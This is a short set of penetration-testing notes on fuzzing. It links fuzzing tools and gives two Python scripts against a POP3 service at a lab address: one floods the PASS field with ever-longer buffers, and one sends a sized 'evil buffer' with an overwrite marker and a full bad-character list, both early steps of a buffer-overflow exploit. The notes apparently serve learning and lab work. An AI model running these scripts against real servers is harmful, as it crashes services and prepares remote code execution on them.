Fuzzing

Tools

• American fuzzy lop is a security-oriented fuzzer: http://lcamtuf.coredump.cx/afl/
• A fork of AFL for fuzzing Windows binaries: https://github.com/googleprojectzero/winafl
• Using WinAFL to Fizz WinRar (unacev2.dll): https://research.checkpoint.com/extracting-code-execution-from-winrar/
• FoRTE-Research's Fuzzing Benchmarks: https://github.com/FoRTE-Research/FoRTE-FuzzBench

Python Network Fuzzer (SMTP?)

#!/usr/bin/python  
import socket

# Create an array of buffers, from 10 to 2000, with increments of 20.  
#buffer = ‘A’ 2700

buffer=["A"]
counter=100  
while len(buffer) <= 30:      buffer.append("A"*counter)      counter=counter+200

for string in buffer:      print "Fuzzing PASS with %s bytes" % len(string)      s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)      connect=s.connect(('10.0.0.22',110))      s.recv(1024)      s.send('USER test\r\n')      s.recv(1024)      s.send('PASS ' + string + '\r\n')      s.send('QUIT\r\n')      s.close()

Python Bad Character Scanner

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
 )

buffer="A"*2606 + "B"*4 + badchars
try:
     print "\nSending evil buffer..."
     s.connect(('10.0.0.22',110))
     data = s.recv(1024)
     s.send('USER username' +'\r\n')
     data = s.recv(1024)
     s.send('PASS ' + buffer + '\r\n')
     s.close()
     print "\nDone!"
except:
    print "Could not connect to POP3!"